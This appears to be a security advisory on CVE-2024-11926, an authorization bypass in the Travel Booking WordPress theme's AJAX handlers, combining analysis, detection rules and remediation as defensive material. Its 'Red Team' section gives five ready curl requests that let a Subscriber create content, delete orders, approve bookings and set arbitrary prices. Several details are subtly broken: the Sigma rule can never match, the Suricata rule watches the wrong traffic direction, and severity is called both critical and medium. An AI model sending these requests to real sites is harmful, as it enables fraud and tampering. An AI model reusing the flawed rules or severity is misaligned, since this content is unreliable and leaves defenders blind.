CVE-2024-11926

Executive Summary

CVE-2024-11926 is a critical authorization bypass vulnerability in the Travel Booking WordPress Theme (a WordPress ecosystem component). The flaw resides in multiple AJAX handler functions (__stPartnerCreateServiceRental, st_delete_order_item, _st_partner_approve_booking, save_order_item, __userDenyEachInfo) that lack proper capability checks. This allows authenticated attackers with Subscriber-level access or higher to perform unauthorized data modifications, including modifying/deleting posts and pages, approving arbitrary bookings, inserting orders with arbitrary prices, and denying user information. The vulnerability affects all versions up to and including 3.1.6. No public exploit code or patch is currently available, but the risk is significant due to the low privileges required.

Supply Chain & Package Security

This is a WordPress theme vulnerability, not an NPM/PyPI/Go/Ruby package. The theme is distributed via the official WordPress theme repository and third-party marketplaces. Users should verify the integrity of their theme files and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: High
• Availability Impact: None

Threat Level: Medium. While the CVSS score is 6.5, the ability to modify posts, delete content, and manipulate orders with arbitrary prices makes this a serious integrity threat for travel booking sites.

Deep Dive & Mechanics

The vulnerability stems from missing capability checks in five AJAX handler functions within the Travel Booking theme. These functions are registered via WordPress's wp_ajax_ hooks, making them accessible to authenticated users. The functions perform sensitive operations without verifying the user's role or capabilities:

1. __stPartnerCreateServiceRental: Intended for partners to create rental services, but lacks a check to ensure the user is actually a partner or has the edit_posts capability.
2. st_delete_order_item: Deletes order items without verifying the user can manage orders.
3. _st_partner_approve_booking: Approves bookings without checking if the user has the authority to do so.
4. save_order_item: Saves/updates order items with arbitrary prices, allowing price manipulation.
5. __userDenyEachInfo: Denies user information without proper authorization.

An attacker with Subscriber-level access can craft AJAX requests to these endpoints, bypassing intended role-based restrictions. The lack of nonce verification or capability checks (e.g., current_user_can()) allows arbitrary data manipulation.

Vulnerable vs. Patched Code

Vulnerable Code (example from __stPartnerCreateServiceRental):

add_action('wp_ajax_st_partner_create_service_rental', '__stPartnerCreateServiceRental');
function __stPartnerCreateServiceRental() {
    // No capability check
    $post_id = wp_insert_post(array(
        'post_type' => 'rental',
        'post_title' => sanitize_text_field($_POST['title']),
        'post_status' => 'publish'
    ));
    // ...
}

Patched Code (hypothetical fix):

add_action('wp_ajax_st_partner_create_service_rental', '__stPartnerCreateServiceRental');
function __stPartnerCreateServiceRental() {
    if (!current_user_can('edit_posts') || !wp_verify_nonce($_POST['_wpnonce'], 'st_partner_nonce')) {
        wp_die('Unauthorized');
    }
    $post_id = wp_insert_post(array(
        'post_type' => 'rental',
        'post_title' => sanitize_text_field($_POST['title']),
        'post_status' => 'publish'
    ));
    // ...
}

The patch adds current_user_can() checks and nonce verification to ensure only authorized users can execute these actions.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Travel Booking theme <= 3.1.6
• Authenticated user account with Subscriber role or higher
• AJAX endpoint knowledge

Exploitation Steps:

1. Enumerate AJAX actions:

   curl -s "https://target.com/wp-admin/admin-ajax.php?action=st_partner_create_service_rental" -H "Cookie: wordpress_logged_in_xxx=..." -d "title=Malicious Rental&content=Hacked"
   

2. Delete arbitrary posts:

   curl -s "https://target.com/wp-admin/admin-ajax.php?action=st_delete_order_item" -H "Cookie: wordpress_logged_in_xxx=..." -d "order_id=123"
   

3. Approve bookings:

   curl -s "https://target.com/wp-admin/admin-ajax.php?action=_st_partner_approve_booking" -H "Cookie: wordpress_logged_in_xxx=..." -d "booking_id=456"
   

4. Insert orders with arbitrary prices:

   curl -s "https://target.com/wp-admin/admin-ajax.php?action=save_order_item" -H "Cookie: wordpress_logged_in_xxx=..." -d "order_id=789&price=0.01"
   

5. Deny user information:

   curl -s "https://target.com/wp-admin/admin-ajax.php?action=__userDenyEachInfo" -H "Cookie: wordpress_logged_in_xxx=..." -d "user_id=1"
   

Blue Team (Detection & Hardening)

Detection:

• Monitor AJAX requests to admin-ajax.php with actions matching the vulnerable functions.
• Look for unusual patterns: Subscriber users performing admin-level actions.
• Check for rapid creation/deletion of posts or orders.

Hardening:

• Apply the principle of least privilege: ensure Subscriber accounts cannot access admin AJAX endpoints.
• Use a Web Application Firewall (WAF) to block suspicious AJAX requests.
• Implement custom capability checks via a child theme or plugin.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /wp-admin/admin-ajax.php with action parameters: st_partner_create_service_rental, st_delete_order_item, _st_partner_approve_booking, save_order_item, __userDenyEachInfo
  • User-Agent strings not matching typical browser patterns (e.g., curl/7.x, python-requests/2.x)

• Host IOCs:

  • Unexpected posts/pages created by Subscriber users
  • Orders with suspiciously low or zero prices
  • Deleted posts/pages without corresponding trash entries
  • Modified user metadata (e.g., deny_info flags)

• Log IOCs:

  • WordPress debug log entries showing AJAX calls from Subscriber users to admin functions
  • Apache/Nginx access logs with repeated admin-ajax.php requests from the same IP

Detection Engineering

YARA Rule

rule CVE_2024_11926_Travel_Booking_Theme {
    meta:
        description = "Detects vulnerable Travel Booking theme files with missing capability checks"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11926"
    strings:
        $func1 = "__stPartnerCreateServiceRental"
        $func2 = "st_delete_order_item"
        $func3 = "_st_partner_approve_booking"
        $func4 = "save_order_item"
        $func5 = "__userDenyEachInfo"
        $ajax_hook = "wp_ajax_"
    condition:
        any of ($func*) and $ajax_hook
}

Sigma Rule

title: CVE-2024-11926 - Travel Booking Theme AJAX Abuse
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts against missing capability checks in Travel Booking theme
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains|all:
            - 'action=st_partner_create_service_rental'
            - 'action=st_delete_order_item'
            - 'action=_st_partner_approve_booking'
            - 'action=save_order_item'
            - 'action=__userDenyEachInfo'
    condition: selection
falsepositives:
    - Legitimate partner actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-11926 - Travel Booking Theme AJAX Exploitation Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action="; nocase;
    pcre:"/(st_partner_create_service_rental|st_delete_order_item|_st_partner_approve_booking|save_order_item|__userDenyEachInfo)/Ri";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable functions by adding the following code to a custom plugin or theme's functions.php:

   add_action('init', function() {
       remove_action('wp_ajax_st_partner_create_service_rental', '__stPartnerCreateServiceRental');
       remove_action('wp_ajax_st_delete_order_item', 'st_delete_order_item');
       remove_action('wp_ajax__st_partner_approve_booking', '_st_partner_approve_booking');
       remove_action('wp_ajax_save_order_item', 'save_order_item');
       remove_action('wp_ajax___userDenyEachInfo', '__userDenyEachInfo');
   });
   

2. Restrict Subscriber capabilities using a plugin like "User Role Editor" to prevent any AJAX access.

3. Monitor for updates from the theme vendor and apply patches immediately when released.

Long-term Fix:

• The vendor must add current_user_can() checks and nonce verification to all five functions.
• Implement role-based access control for all AJAX handlers.

Workaround:

• Use a Web Application Firewall (WAF) to block requests containing the vulnerable action parameters from non-admin users.

Valters IT